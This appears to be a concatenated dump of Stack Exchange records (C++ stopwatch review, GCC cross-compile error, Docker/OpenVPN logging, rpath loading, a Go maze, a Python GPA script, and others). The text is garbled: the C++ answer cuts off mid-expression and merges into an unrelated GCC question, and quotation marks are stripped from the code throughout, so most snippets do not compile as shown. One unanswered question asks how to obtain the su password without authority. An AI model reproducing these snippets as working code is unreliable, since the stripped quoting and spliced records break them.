setSeconds();}void SegmentedStopWatch::setSeconds(){ set(m_stopWatchDigits, secondsIndexStart, m_seconds);}void SegmentedStopWatch::setMinutes(){ set(m_stopWatchDigits, minutesIndexStart, m_minutes);}void SegmentedStopWatch::setHours(){ set(m_stopWatchDigits, hoursIndexStart, m_hours);}/*|----PRIVATE_FUNCTIONS_END----|*//*|----SEGMENTED_STOP_WATCH_FUNCTIONS_END----|*/Source.cpp:#includeStopWatch.h#includeConsole.h //for Console::gotoxy#include //for this_thread::sleep_forint main(){ std::unique_ptr segFact{ std::make_unique() }; std::unique_ptr digFact{ std::make_unique() }; std::unique_ptr stoppers[2]; stoppers[0] = segFact->createStopWatch(); stoppers[1] = digFact->createStopWatch(); stoppers[0]->setStopWatchXY(5, 5); //to test the second stopper simply change stoppers[0] to stoppers[1] stoppers[0]->countDownFrom(12); //test countdown //stoppers[0]->countDownFrom(60 * 60 * 60 * 60); //overflow test /* stoppers[0]->start(); while (1) { stoppers[0]->updateTime(); stoppers[0]->printTime(); std::this_thread::sleep_for(std::chrono::milliseconds(200)); //this is only responsible for the refresh rate, the lower the better }//note that no waiting at all will result in visible reprinting. */ /* int timer = 9; stoppers[0]->start(); do { stoppers[0]->updateTime(); stoppers[0]->printTime(); std::this_thread::sleep_for(std::chrono::seconds(1)); }while (--timer); stoppers[0]->stop(); //test stop std::this_thread::sleep_for(std::chrono::seconds(3)); timer = 9; stoppers[0]->start(); do { stoppers[0]->updateTime(); stoppers[0]->printTime(); std::this_thread::sleep_for(std::chrono::seconds(1)); }while (--timer); */ /* int timer = 9; stoppers[0]->start(); do { stoppers[0]->updateTime(); stoppers[0]->printTime(); std::this_thread::sleep_for(std::chrono::seconds(1)); }while (--timer); stoppers[0]->reset(); //test reset std::this_thread::sleep_for(std::chrono::seconds(3)); timer = 9; stoppers[0]->start(); do { stoppers[0]->updateTime(); stoppers[0]->printTime(); std::this_thread::sleep_for(std::chrono::seconds(1)); }while (--timer); */ /* int timer = 9; stoppers[0]->start(); do { stoppers[0]->updateTime(); stoppers[0]->printTime(); std::this_thread::sleep_for(std::chrono::seconds(1)); } while (--timer); stoppers[0]->lap(); //lap reset stoppers[0]->stop(); std::this_thread::sleep_for(std::chrono::seconds(3)); timer = 9; stoppers[0]->start(); do { stoppers[0]->updateTime(); stoppers[0]->printTime(); std::this_thread::sleep_for(std::chrono::seconds(1)); } while (--timer); stoppers[0]->lap(); stoppers[0]->stop(); Console::gotoxy(0, 0); std::cout << m_elapsed: << stoppers[0]->getElapsed() << '\\n'; std::cout << First lap: << stoppers[0]->getLapTimes()[0] << '\\n'; std::cout << Second lap: << stoppers[0]->getLapTimes()[1] << '\\n'; */ return 0;}" , "title": "Stopwatch that uses the abstract factory design pattern" , "tags": "c++;object oriented;design patterns;datetime;polymorphism" , "accepted_answer": "Okay, after I worked my way through the original code, a few things have become clearer. Since I have never done programming with ncurses I was eager to try my hand at a better design.Here it comes. It's a sketch only in the sense that I didn't create separate translation units. That is basically a tedious exercise and left for the reader.However, it does implement stopwatch (including lap times and reset), countdown and a bonus random timer task.Big ideasI noticed that Stopwatch was a bit of a God Object antipattern. It does too many things (you can't really usefully do a countdown and a lap time simultaneously).I reckoned it would be nice to simply have tasks (without any UI) that expose duration measurements, and views that can display them as they update. This is akin to a publish/subscribe pattern.To demonstrate this, I made not only the views generic, but also the tasks.The UI will be an interactive terminal application that supports the following short cut keys: Select (multiple) views: [d]igital/[s]egmented Launch task: [r]andom [c]ountdown s[t]opwatch [?]any Control tasks: [l]ap [!]reset [k]ill Other: [z]ap all views [q]uit/Esc I am aware of the usual implementation in hardware stopwatch devices where the operation modes form a state machine. I also realize that the implementation in code tried to mimick this. Unfortunately, not only did it fall short, it also conflated things with the UI side of things. Consider this answer a finger exercise on my part.Code walkthroughIncludes#include #include #include We'll be using stream formatting to display hh:mm:ss times.#include using namespace std::chrono_literals;#include #include #include #include We'll be using standard library containers and algorithms.#include A little bit of Boost to aid in the publish/subscribe mechanism. It facilitates multi-cast subscription and automatic (RAII) disconnection.#include #include As in the last comment on the old answer, we'll be using ncurses to create an interactive terminal UI (TUI).Preamble/general declarationsWe start at the foundation, some general utilities:namespace { using Clock = std::chrono::steady_clock; using TimePoint = Clock::time_point; using Duration = Clock::duration; using Durations = std::vector;Just some convenience shorthands, so we keep our code legible and easy to change. struct HMS { int hours, minutes, seconds; std::string str() const { std::stringstream ss; ss << std::setfill('0') << std::setw(2) << hours << ':' << std::setw(2) << minutes << ':' << std::setw(2) << seconds; return ss.str(); } }; HMS to_hms(Duration duration) { auto count = std::chrono::duration_cast(duration).count(); int s = count % 60; count /= 60; int m = count % 60; count /= 60; int h = count; return {h,m,s}; }You had these conversions anyways, but here they are in functional style (specifically, side-effect free). You'll notice how much this uncomplicates the stopwatch tasks below. using boost::signals2::signal; using boost::signals2::scoped_connection;}(More shorthands)There's a subtle point to maintaining Duration at full resolution internally. This means that no rounding errors are introduced when starting a new lap halfway a second.The Task hierarchystruct Task { virtual ~Task() = default; virtual void tick() {}};The foundation of our task class hierarchy. Note that the most generic base class doesn't even presuppose any published events, which makes the framework extensible to tasks other than time measurement. Our time-related tasks share the following abstract base:struct TimerTask : Task { signal updateEvent; virtual void tick() = 0;};As you can see, we promise to publish events carrying one or more durations. These can be subscribed to by any view capable of displaying one or more durations.Implementing the various timer operations on this is peanuts. Let's for example do a random durations generator in 3 lines of code:struct RandomTimeTask : TimerTask { virtual void tick() { updateEvent(rand()%19000 * 1s, {}); }};That might seem a cheap example, but countdown is really not much different:struct CountdownTask : TimerTask { CountdownTask(Duration d) : _deadline(Clock::now() + d) { } virtual void tick() { updateEvent(std::max(Duration{0s}, _deadline - Clock::now()), {}); } private: TimePoint _deadline;};Even stopwatch isn't harder, before we add lap times:struct StopwatchTask : TimerTask { StopwatchTask() : _startlap(Clock::now()) { } virtual void tick() { updateEvent(Clock::now() - _startlap, {}); } private: TimePoint _startlap;};Adding laptimes and reset() the full-featured stopwatch task becomes:struct StopwatchTask : TimerTask { StopwatchTask() : _startlap(Clock::now()) { } virtual void tick() { updateEvent(elapsed(), _laptimes); } void lap() { _laptimes.push_back(elapsed()); _startlap = Clock::now(); } void reset() { _startlap = Clock::now(); _laptimes.clear(); } private: Duration elapsed() const { return Clock::now() - _startlap; } std::vector _laptimes; TimePoint _startlap;};View hierarchyWe introduce one more parameter object:struct Bounds { int x, y, lines, cols;};And then we get down to business: Views will be things that have a TUI element (a panel):struct View { View(Bounds const& bounds) : _window(bounds.lines, bounds.cols, bounds.x, bounds.y) { } virtual ~View() = default; protected: mutable NCursesPanel _window;};Without delay, let's present the abstract base TimerView that subscribes to any TimerTask:struct TimerView : View { TimerView(Bounds const& bounds) : View(bounds) { } void subscribe(TimerTask& task) { _conn = task.updateEvent.connect([this](Duration const& value, Durations const& extra) { //if (value == 0s) _window.setcolor(1); update(value, extra); }); } private: scoped_connection _conn; virtual void update(Duration const& value, Durations const& extra) const = 0;};I haven't figured out how to configure colors in Curses, but you can see how simple it would be to add generic behaviour to timer views there.A simple view to implement would be the digital timer view. We already have the to_hms() and HMS::str() utilities. Let's decide that the view should show the total elapsed time regardless of lap-times and it should indicate how many laps have been recorded:struct DigitalView final : TimerView { using TimerView::TimerView; private: void update(Duration const& value, Durations const& extra) const override { _window.erase(); auto total = std::accumulate(extra.begin(), extra.end(), value); auto hms = to_hms(total).str(); hms += [# + std::to_string(extra.size()) + ]; int x = 0; for (auto ch : hms) _window.CUR_addch(0, x++, ch); _window.redraw(); }};Note that I have foregone a Console like abstraction here. Instead I used _window methods directly, which does tie the implementation to Curses. You may want to abstract this again, probably using a buffered approach like in my other answer.The SegmentView isn't actually much more complicated. I dropped the bitset<> in favour of more obviously readable code. It has the added benefit of making the code short (except for the constants of course).Functionally, we showthe total elapsed time in a frame captionthe current lap time in the 7-segment large displaya running list of previous lap-times on the right hand side:struct SegmentView final : TimerView { using TimerView::TimerView; private: void update(Duration const& value, Durations const& extra) const override { _window.erase(); // total times in frame caption { auto total = std::accumulate(extra.begin(), extra.end(), value); _window.frame(to_hms(total).str().c_str()); } // big digits show current lap { auto hms = to_hms(value).str(); int digits[6] { hms[0]-'0', hms[1]-'0', hms[3]-'0', hms[4]-'0', hms[6]-'0', hms[7]-'0', }; auto xpos = [](int index) { return 4 + (index * 5); }; int index = 0; for (auto num : digits) printDigit(num, xpos(index++), 1); for (auto x : {xpos(2)-1, xpos(4)-1}) for (auto y : {2, 4}) _window.CUR_addch(y, x, '.'); } // previous laptimes to the right { // print lap times int y = 1; for (auto& lap : extra) { int x = 35; _window.CUR_addch(y, x++, '0'+y); _window.CUR_addch(y, x++, '.'); _window.CUR_addch(y, x++, ' '); for (auto ch : to_hms(lap).str()) _window.CUR_addch(y, x++, ch); ++y; } } _window.redraw(); } void printDigit(int num, int x, int y) const { static char const* const s_masks[10] = { -- | | | | -- , | | , -- | -- | -- , -- | -- | -- , | | -- | , -- | -- | -- , -- | -- | | -- , -- | | , -- | | -- | | -- , -- | | -- | -- , }; if (num < 0 || num > 9) throw std::runtime_error(Cannot assign Invalid digit must be: (0 < digit < 9)); for (auto l = s_masks[num]; *l; l += 4) { for (auto c = l; c < l+4; ++c) _window.CUR_addch(y, x++, *c); ++y; x-=4; } }};Behold, a thing of beauty. One should never underestimate the value of self-explanatory code (if only the constants here). The Main ApplicationAll that remains to be done is the demo application itself. It sets up some factories, and starts an input event loop to receive keyboard shortcuts. Handling them is pretty straightforward.The stopwatch-specific operations ([l]ap and [!]reset) are the only mildly complicated ones because they will have to filter for any running tasks that might be stopwatch tasks.Launching a task without selecting one or more views to connect up will result in a beep() and nothing happening.Note how clearing the _tasks or _views automatically destroys the right subscriptions (due to the use of scoped_connection).struct DemoApp : NCursesApplication { using TaskPtr = std::unique_ptr; using ViewPtr = std::unique_ptr; using TaskFactory = std::function; using ViewFactory = std::function; using ViewFactoryRef = std::reference_wrapper; int run() { _screen.useColors(); _screen.centertext(lines - 4, Select (multiple) views: [d]igital/[s]egmented); _screen.centertext(lines - 3, Launch task: [r]andom [c]ountdown s[t]opwatch [?]any); _screen.centertext(lines - 2, Control tasks: [l]ap [!]reset [k]ill); _screen.centertext(lines - 1, Other: [z]ap all views [q]uit/Esc); ::timeout(10); // replace with set<> to disallow repeats std::multiset selected_views; while (true) { TaskPtr added; switch (auto key = ::CUR_getch()) { // waits max 10ms due to timeout case 'r': added = makeRandomTimeTask(); break; case 'c': added = makeCountdownTask(); break; case 't': added = makeStopwatchTask(); break; case 'l': for (auto& t : _tasks) if (auto sw = dynamic_cast(t.get())) sw->lap(); break; case '!': for (auto& t : _tasks) if (auto sw = dynamic_cast(t.get())) sw->reset(); break; case '\\x1b': case 'q': return 0; case 'k': _tasks.clear(); break; case 'z': _views.clear(); break; case 'd': selected_views.insert(makeDigitalView); break; case 's': selected_views.insert(makeSegmentView); break; default: for (auto& d : _tasks) d->tick(); } if (added) { if (selected_views.empty()) ::beep(); else { for (ViewFactory const& maker : selected_views) { _views.push_back(maker()); _views.back()->subscribe(*added); } selected_views.clear(); _tasks.push_back(std::move(added)); } } ::refresh(); } }The remainder is the setup for the DemoApp, which includes rather boring stuff like generating random view positions. private: std::mt19937 prng{ std::random_device{}() }; NCursesPanel _screen; int const lines = _screen.lines(); int const cols = _screen.cols(); int ranline() { return std::uniform_int_distribution<>(0, lines - 9)(prng); }; int rancol() { return std::uniform_int_distribution<>(0, cols - 9)(prng); }; TaskFactory makeRandomTimeTask = [] { return TaskPtr(new RandomTimeTask); }, makeCountdownTask = [] { return TaskPtr(new CountdownTask(rand()%240 * 1s)); }, makeStopwatchTask = [] { return TaskPtr(new StopwatchTask()); }, taskFactories[2] { makeRandomTimeTask, makeCountdownTask, }; ViewFactory makeDigitalView = [&] { return std::make_unique(Bounds { ranline(), rancol(), 1, 13 }); }, makeSegmentView = [&] { return std::make_unique(Bounds { ranline(), rancol(), 7, 48 }); }, viewFactories[2] = { makeDigitalView, makeSegmentView }; std::vector _views; std::vector _tasks; struct CompareAddresses { // in case you wanted to make selected_views unique template bool operator()(A const& a, B const& b) const { return std::addressof(a.get())> gcc/config/linux.hprintf '\\n#undef STANDARD_STARTFILE_PREFIX_2\\n#define STANDARD_STARTFILE_PREFIX_2 \\n' >> gcc/config/linux.hmkdir ${BUILD_DIR} &&cd ${BUILD_DIR} &&AR=ar LDFLAGS=-Wl,-rpath,${CROSS_DIR}/lib \\../configure --prefix=${CROSS_DIR} \\ --build=${HOST} \\ --target=${TARGET} \\ --host=${HOST} \\ --with-sysroot=${INSTALL_DIR} \\ --with-local-prefix=${TOOLS_DIR} \\ --with-native-system-header-dir=${TOOLS_DIR}/include \\ --disable-nls \\ --disable-static \\ --enable-languages=c,c++ \\ --enable-__cxa_atexit \\ --enable-threads=posix \\ --disable-multilib \\ --with-mpc=${CROSS_DIR} \\ --with-mpfr=${CROSS_DIR} \\ --with-gmp=${CROSS_DIR} \\ --with-cloog=${CROSS_DIR} \\ --with-isl=${CROSS_DIR} \\ --with-system-zlib \\ --enable-checking=release \\ --enable-libstdcxx-timeWhile setting the options, I have written ${TOOLS_DIR}/include, then why is it the GCC is trying to look into ${INSTALL_DIR}/${TOOLS_DIR}/include? Can somebody direct me in the right direction?OUTPUTThe directory that should contain system headers does not exist:/tmp/gcc-compile/tmp/gcc-compile/tools/includemake[2]: *** [stmp-fixinc] Error 1make[2]: *** Waiting for unfinished jobs....rm gcc.podmake[2]: Leaving directory `/tmp/gcc-compile/cross-compile-tools/gcc- final/gcc-4.8.3/gcc-build/gcc'make[1]: *** [all-gcc] Error 2make[1]: Leaving directory `/tmp/gcc-compile/cross-compile-tools/gcc-final/gcc-4.8.3/gcc-build'make: *** [all] Error 2" , "title": "GCC 4.8 compilation error: cannot find the system header directory" , "tags": "compiling;gcc;cross compilation" } { "id": "_softwareengineering.267053" , "question": "I am working on a large C++ project. It consists in a server that exposes a REST API, providing a simple and user-friendly interface for a very broad system comprising many other servers. The codebase is quite large and complex, and evolved through time without a proper design upfront. My task is to implement new features and refactor/fix the old code in order to make it more stable and reliable.At the moment, the server creates a number of long-living objects that are never terminated nor disposed when the process terminates. This makes Valgrind almost unusable for leak detection, as it is impossible to distinguish between the thousands of (questionably) legitimate leaks from the dangerous ones.My idea is to ensure that all objects are disposed before termination, but when I made this proposal, my colleagues and my boss opposed me pointing out that the OS is going to free that memory anyway (which is obvious to everybody) and disposing the objects will slow down the shutdown of the server (which, at the moment, is basically a call to std::exit). I replied that having a clean shutdown procedure does not necessarily imply that one must use it. We can always call std::quick_exit or just kill -9 the process if we feel impatient.They replied most Linux daemons and processes don't bother freeing up memory at shutdown. While I can see that, it is also true that our project does need accurate memory debugging, as I already found memory corruption, double frees and uninitialised variables.What are your thoughts? Am I pursuing a pointless endeavour? If not, how can I convince my colleagues and my boss? If so, why, and what should I do instead?" , "title": "Correctly disposing objects upon server termination" , "tags": "c++;debugging;memory" } { "id": "_unix.264021" , "question": "I was trying to dockerize (into Debian 8.2) an OpenVPN server (yes, I do know, there already are such containers) but something went wrong inside the container and the server failed to start.I decided to inspect logs but /var/log/syslog (OpenVPN logs here on my host machine) was missing inside the container.I thought that rsyslog was not istalled and added its installation before OpenVPN installation to the Dockerfile. But this had no effect, the syslog was still missing.My Dockerfile is:FROM debian:8.2USER rootEXPOSE 53/udpEXPOSE 1194/udpEXPOSE 443/tcpRUN apt-get updateRUN apt-get install -y rsyslogRUN apt-get install -y openvpn# ...# Some configuration stuff# ...ENTRYPOINT service openvpn start && shThe questions are:Why does OpenVPN logs to syslog after default installation on my host Debian 8.2 and doesn't do it inside a container? I didn't configure anything on my host machine to force OpenVPN log to syslog. It was a default behavior.How do I configure logging of the OpenVPN server running inside a docker container?" , "title": "How to configure logging inside a Docker container?" , "tags": "debian;syslog;docker;rsyslog;containers" } { "id": "_webapps.20869" , "question": "So after gratuitous theme installations and customizations my tumblr site just isn't looking how I want it to. I've decided to just do the theme myself, but now I have one on there with all this extra stuff.How can I go back to default layout so I have a clean slate to work on?" , "title": "Go Back to Default Tumblr Layout" , "tags": "tumblr;tumblr themes" , "accepted_answer": "Go to http://www.tumblr.com/customize (you can get there by clicking the cog wheel in the backend and then Customize your blog). Click Themes in the upper left, then search and click on Optica, which is the default theme. Click on Use to take the theme." } { "id": "_unix.190999" , "question": "You already know my question.I don't have su authority.So I want to know su password.I really(x100) don't know how to find it.I tried change direction(/etc/pam.d/su) and tried to delete auth sufficient pam_wheel.so trust.But I could not do it,Because I don't have su authority.:-(so...Could you do me a favor?" , "title": "How to know su password" , "tags": "security;root" } { "id": "_unix.136335" , "question": "I had two CentOS 6.5 servers that I was running using the Plesk control panel. I have moved and decided not to use them no more but just buy my hosting. My new ISP blocks port 80 and the cost is insane to get it unblocked from them. I took out the server HDD and trying to use a Fedora 12 Live CD to just get the website files backed up. The issue I'm having is that the folder I need access to are all locked out. The error says I do not have permissions to view folder. When I go to permissions tab I'm being told I'm not the owner. I'm not good with command lines so is there a way to make myself the owner from the interface? " , "title": "Trying To Get Data From Server HDD" , "tags": "fedora;permissions;data recovery" } { "id": "_cs.60987" , "question": "In the past I have thought a bit about how to register a NIR-image and a thermal image and noticed that this is not trivial - one statement was that if I had the depth information for each pixel, the task would be much easier.Now consider having a 3D-NIR camera (e.g. asus xtion) and a thermal camera and I want to map the thermal information to the depth map (the 3d cloud) or vice versa and the NIR information to the thermal information (and vice versa). I thought I could do it simply like this:Conduct a stereo camera calibration for the two cameras (-> R1,R2,T)Use R1, R2 and T to transform the 3D points from 3D-NIR to the thermal camera's coordinate systemUse the camera matrix of the thermal camera to project the 3D points to its image planeNow I know where the 3D points fall in the thermal image, which gives me a depth value (and intensity value, because the depth map and NIR-image are aligned) for each pixel in the thermal image.Which to me sounds similar to the procedure described in this answer by D.W..However, I can't find any article describing this method. Always there seems to be some form of feature matching step, e.g. here.Also, thinking about this, the above solution can not really work, I believe. Consider the case where the two cameras look at an object from different sides. The 3D camera will calculate the depth for a point p1 in the world. When projecting p1 to the thermal camera's image plane it will fall in pixel x. However, since the thermal camera looked at another side of the object, another point in the world p2 actually formed pixel x when the thermal camera took the image - and thats what the measured temperature in x is for (i.e., p1 and p2 roughly lie on a line viewed from the thermal camera).So, all in all:Is my statement that the outlined solution can't always work correct?Under which circumstances does the outlined solution work?What do I need to keep in mind when building the setup?How else to go about this problem? Thanks for reading this long post!" , "title": "Registering 3D-NIR image to thermal image and vice versa" , "tags": "computer vision" } { "id": "_datascience.11695" , "question": "My problem has three categorical variables C1,C2, C3 and one continous variable X, predicting a continuous outcome Y. I can visualize the problem with the following reproducible code (apology for the badly written code):library(data.tree)i = expand.grid(c(A,B),c(C,D),c(E,F))i = i[order(i[,1],i[,2],i[,3]),]i[,4] = c(1:8)t = expand.grid(c(A,B),c(C,D),c(E,F),seq(0,1,0.1))t = t[order(t[,1],t[,2],t[,3]),]t = join(t,i, by = c(Var1,Var2,Var3))t$Var5 = runif(nrow(t))t$pathString <- with(t, paste(Tree, Var1, Var2, Var3, V4, sep=/))plot_tree <- as.Node(t)plot(plot_tree)ggplot(data = t, aes(x=Var4, y=Var5)) + geom_line() + facet_grid(~V4)The tree categorical variables show 8 possible path combinations:And within each path there is a distribution of Y depending on a continuous variable X:I would like to bin both the continuous Y and X variables such that I am left with a more concise decision tree. There is method to this madness as in my actual problem, some categorical paths will become insignificant due to no movement in the predicted Y beyond the established volatility threshold of 5%.I can manually obtain bins by brute force, but is there a binning algorithm that supports binning of both predicted and predictor variables? I have looked at smbinning and my knowledge in this area of algorithms is limited. My actual problem has many categorical and continuous variables resulting in a more complex structure, but I would like to convert it to a decision tree result which will help me understand the significance and movement of variables better. " , "title": "Binning of Continous Predictor and Predicted Variables" , "tags": "r;data mining;decision trees" } { "id": "_unix.248265" , "question": "Related to my question about awk being ignored by cron, are there any alternatives to awk? This is the line in question:for dirlist in `ls -l $WEBFOLDER | awk '$1 ~ /d/ {print $10 }' `I don't know awk so I don't understand the $1 ~ /d/ part, but I think what it does is that it prints the 10th column out of the ls -l result. As I can't use awk as of current, is there an alternative to getting the directory names without using awk?EDIT: The line above only outputs the names. No lines or dots, just the names." , "title": "Alternative to script command getting directory names (using ls & awk)" , "tags": "shell script" , "accepted_answer": "Just a simple for loop:for dir in $WEBFOLDER/*/; do basename $dirdoneIf you also want directories starting with a dot:for dir in $WEBFOLDER/.*/ $WEBFOLDER/*/; do basename $dirdone" } { "id": "_softwareengineering.116541" , "question": "Here's an interesting discussion of Tennent's Correspondence Principle, and a brief description from Neal Gafter:The principle dictates that an expression or statement, when wrapped in a closure and then immediately invoked, ought to have the same meaning as it did before being wrapped in a closure. Any change in semantics when wrapping code in a closure is likely a flaw in the language.Does the Groovy language follow this principle?" , "title": "Does Groovy follow Tennent's Correspondence Principle?" , "tags": "language design;groovy;closures" } { "id": "_unix.137492" , "question": "I'm trying to get a C application to load shared objects from a relative directory regardless of where I call it from. So far it only works if I'm in the same directory as the executable when I call it:~/prog$ ./my_programSuccess~/prog$ cd ..~$ ./prog/my_program./prog/my_program: error while loading shared libraries: libs/libmysharedobject.so: cannot open shared object file: No such file or directoryAs you can guess from the output above, the shared object is stored under the ~/prog/libs/ directory. Here's what the relevant gcc calls look like:gcc -std=c99 -ggdb -Wall -pedantic -Isrc -fPIC -shared -Wl,-soname,libs/libmysharedogbject.so -o libs/libmysharedobject.so libs/mysharedobject.c[...]gcc [CFLAGS omitted] -o my_program main.c build/src/my_program.o build/src/common.o -lm -Llibs -lmysharedobjectHere's the top of the output from readelf -d my_program:Dynamic section at offset 0x6660 contains 26 entries: Tag Type Name/Value 0x0000000000000001 (NEEDED) Shared library: [libm.so.6] 0x0000000000000001 (NEEDED) Shared library: [libs/libmysharedobject.so] 0x0000000000000001 (NEEDED) Shared library: [libc.so.6]I have tried adding -Wl,-z,origin,-rpath='$ORIGIN', which causes the following lines to show up in readelf's output: 0x000000000000000f (RPATH) Library rpath: [$ORIGIN][...] 0x000000006ffffffb (FLAGS_1) Flags: ORIGINBut it doesn't seem to solve my problem. I've also tried setting rpath to $ORIGIN/libs, ., and ./libs, all to no avail. (UPDATE: $(CURDIR) doesn't have any effect either. This surprises me, since it's expanded to an absolute path.)Is there a way to get my executable to find its shared objects regardless of the directory from which it's invoked, preferably without having the end user set LD_LIBRARY_PATH every time? Or am I trying to do something that Linux doesn't support?" , "title": "Load shared objects relative to executable path" , "tags": "compiling;dynamic linking" } { "id": "_unix.328882" , "question": "I have an array containing some element ,but i want to push new items to beginning of array .How to achieve it ?" , "title": "how to add new value to beginning of array in bash?" , "tags": "bash;shell script;array" } { "id": "_codereview.15539" , "question": "/*Create a random maze*/package mainimport ( fmt math/rand time)const ( mazewidth = 15 mazeheight = 15)type room struct { x, y int}func (r room) String() string { return fmt.Sprintf((%d,%d), r.x, r.y)}func (r room) id() int { return (r.y * mazewidth) + r.x}// whetwher walls are open or not.// There are (num_rooms * 2) walls. Some are on borders, but nevermind them ;)type wallregister [mazewidth * mazeheight * 2]boolvar wr = wallregister{}// rooms are visited or nottype roomregister [mazewidth * mazeheight]boolvar rr = roomregister{}func main() { rand.Seed(time.Now().Unix()) stack := make([]room, 0, mazewidth*mazeheight) start := room{0, 0} // mark start position visited rr[start.id()] = true // put start position on stack stack = append(stack, room{0, 0}) for len(stack) > 0 { // current node is in top of the stack current := stack[len(stack)-1] // Slice of neighbors we can move availneighbrs := current.nonvisitedneighbors() // cannot move. Remove this room from stack and continue if len(availneighbrs) < 1 { stack = stack[:len(stack)-1] continue } // pick a random room to move. next := availneighbrs[rand.Intn(len(availneighbrs))] // mark next visited rr[next.id()] = true // open wall between current and next: first, second := orderrooms(current, next) // second is either at the right or bottom of first. if second.x == first.x+1 { wr[first.id()*2] = true } else if second.y == first.y+1 { wr[first.id()*2+1] = true } else { // probably impossible or maybe not... panic(Wot?!?) } // push next to stack stack = append(stack, next) } // print maze // print upper border for x := 0; x < mazewidth; x++ { if x == 0 { fmt.Printf( ) } else { fmt.Printf(_ ) } } fmt.Println() for y := 0; y < mazeheight; y++ { fmt.Printf(|) // left border for x := 0; x < mazewidth; x++ { id := room{x, y}.id() right := | bottom := _ if wr[id*2] { right = } if wr[id*2+1] { bottom = } if x == mazewidth-1 && y == mazeheight-1 { right = } fmt.Printf(%s%s, bottom, right) } fmt.Println() }}// return slice of neighbor roomsfunc (r room) neighbors() []room { rslice := make([]room, 0, 4) if r.x < mazewidth-1 { rslice = append(rslice, room{r.x + 1, r.y}) } if r.x > 0 { rslice = append(rslice, room{r.x - 1, r.y}) } if r.y < mazeheight-1 { rslice = append(rslice, room{r.x, r.y + 1}) } if r.y > 0 { rslice = append(rslice, room{r.x, r.y - 1}) } return rslice}// return rooms that are not visited yetfunc (r room) nonvisitedneighbors() []room { rslice := make([]room, 0, 4) for _, r := range r.neighbors() { if rr[r.id()] == false { rslice = append(rslice, r) } } return rslice}// order to rooms by closeness to origin (upperleft)func orderrooms(room1, room2 room) (room, room) { dist1 := room1.x*room1.x + room1.y*room1.y dist2 := room2.x*room2.x + room2.y*room2.y if dist1 < dist2 { return room1, room2 } return room2, room1}http://play.golang.org/p/8W_FbBfUjb (You can run it here. But since time.Now() is fixed there, you will always get same maze.)In any aspect of it, how does it look?" , "title": "Creating random maze in Go" , "tags": "random;go" } { "id": "_codereview.75799" , "question": "This is my code, for calculating a GPA for 7 subjects. It works, but is there a better way? Any hints on making it more flexible?from __future__ import divisionimport stringprint This program will calculate a Semester GPA for a given set of courses. Enter 0 in all inputs, if you want to skip extra courses.\\ncname1 = raw_input(First course name: )while True: cred1 = raw_input(First course credit: ) try: i = int(cred1) break except ValueError: print 'Invalid input, Should be an positive interger'grade1 = raw_input(First course grade: )choice1 = grade1while choice1 not in [A+, a+, A, a,A-, a-, B+, b+, B, b, B-, b-, C+, c+, C, c,C-, c-, D+, d+, D, d, D-, d-, FAIL, fail]: print 'Invalid choice' grade1 = raw_input(First course grade: ) users_turn = choice1 in [A+, a+, A, a,A-, a-, B+, b+, B, b, B-, b-, C+, c+, C, c,C-, c-, D+, d+, D, d, D-, d-, FAIL, fail] choice1 = grade1cname2 = raw_input(Second course name: )while True: cred2 = raw_input(Second course credit: ) try: i = int(cred2) break except ValueError: print 'Invalid input, Should be an positive interger'grade2 = raw_input(Second course grade: )choice2 = grade2while choice2 not in [A+, a+, A, a,A-, a-, B+, b+, B, b, B-, b-, C+, c+, C, c,C-, c-, D+, d+, D, d, D-, d-, FAIL, fail]: print 'Invalid choice' grade2 = raw_input(Second course grade: ) users_turn = choice2 in [A+, a+, A, a,A-, a-, B+, b+, B, b, B-, b-, C+, c+, C, c,C-, c-, D+, d+, D, d, D-, d-, FAIL, fail] choice2 = grade2cname3 = raw_input(Third course name: )while True: cred3 = raw_input(Third course credit: ) try: i = int(cred3) break except ValueError: print 'Invalid input, Should be an positive interger'grade3 = raw_input(Third course grade: )choice3 = grade3while choice3 not in [A+, a+, A, a,A-, a-, B+, b+, B, b, B-, b-, C+, c+, C, c,C-, c-, D+, d+, D, d, D-, d-, FAIL, fail]: print 'Invalid choice' grade3 = raw_input(Third course grade: ) users_turn = choice3 in [A+, a+, A, a,A-, a-, B+, b+, B, b, B-, b-, C+, c+, C, c,C-, c-, D+, d+, D, d, D-, d-, FAIL, fail] choice3 = grade3cname4 = raw_input(Fourth course name: )while True: cred4 = raw_input(Fourth course credit: ) try: i = int(cred4) break except ValueError: print 'Invalid input, Should be an positive interger'grade4 = raw_input(Fourth course grade: )choice4 = grade4while choice4 not in [A+, a+, A, a,A-, a-, B+, b+, B, b, B-, b-, C+, c+, C, c,C-, c-, D+, d+, D, d, D-, d-, FAIL, fail]: print 'Invalid choice' grade4 = raw_input(Fourth course grade: ) users_turn = choice4 in [A+, a+, A, a,A-, a-, B+, b+, B, b, B-, b-, C+, c+, C, c,C-, c-, D+, d+, D, d, D-, d-, FAIL, fail] choice4 = grade4cname5 = raw_input(Fifth course name: )while True: cred5 = raw_input(Fifth course credit: ) try: i = int(cred5) break except ValueError: print 'Invalid input, Should be an positive interger'grade5 = raw_input(Fifth course grade: )choice5 = grade5while choice5 not in [A+, a+, A, a,A-, a-, B+, b+, B, b, B-, b-, C+, c+, C, c,C-, c-, D+, d+, D, d, D-, d-, FAIL, fail]: print 'Invalid choice' grade5 = raw_input(Fifth course grade: ) users_turn = choice5 in [A+, a+, A, a,A-, a-, B+, b+, B, b, B-, b-, C+, c+, C, c,C-, c-, D+, d+, D, d, D-, d-, FAIL, fail] choice5 = grade5cname6 = raw_input(Sixth course name: )while True: cred6 = raw_input(Sixth course credit: ) try: i = int(cred6) break except ValueError: print 'Invalid input, Should be an positive interger'grade6 = raw_input(Sixth course grade: )choice6 = grade6while choice6 not in [A+, a+, A, a,A-, a-, B+, b+, B, b, B-, b-, C+, c+, C, c,C-, c-, D+, d+, D, d, D-, d-, FAIL, fail]: print 'Invalid choice' grade6 = raw_input(Sixth course grade: ) users_turn = choice6 in [A+, a+, A, a,A-, a-, B+, b+, B, b, B-, b-, C+, c+, C, c,C-, c-, D+, d+, D, d, D-, d-, FAIL, fail] choice6 = grade6cname7 = raw_input(Seventh course name: )while True: cred7 = raw_input(Seventh course credit: ) try: i = int(cred7) break except ValueError: print 'Invalid input, Should be an positive interger'grade7 = raw_input(Seventh course grade: )choice7 = grade7while choice7 not in [A+, a+, A, a,A-, a-, B+, b+, B, b, B-, b-, C+, c+, C, c,C-, c-, D+, d+, D, d, D-, d-, FAIL, fail]: print 'Invalid choice' grade7 = raw_input(Seventh course grade: ) users_turn = choice7 in [A+, a+, A, a,A-, a-, B+, b+, B, b, B-, b-, C+, c+, C, c,C-, c-, D+, d+, D, d, D-, d-, FAIL, fail] choice7 = grade7totalGPA = 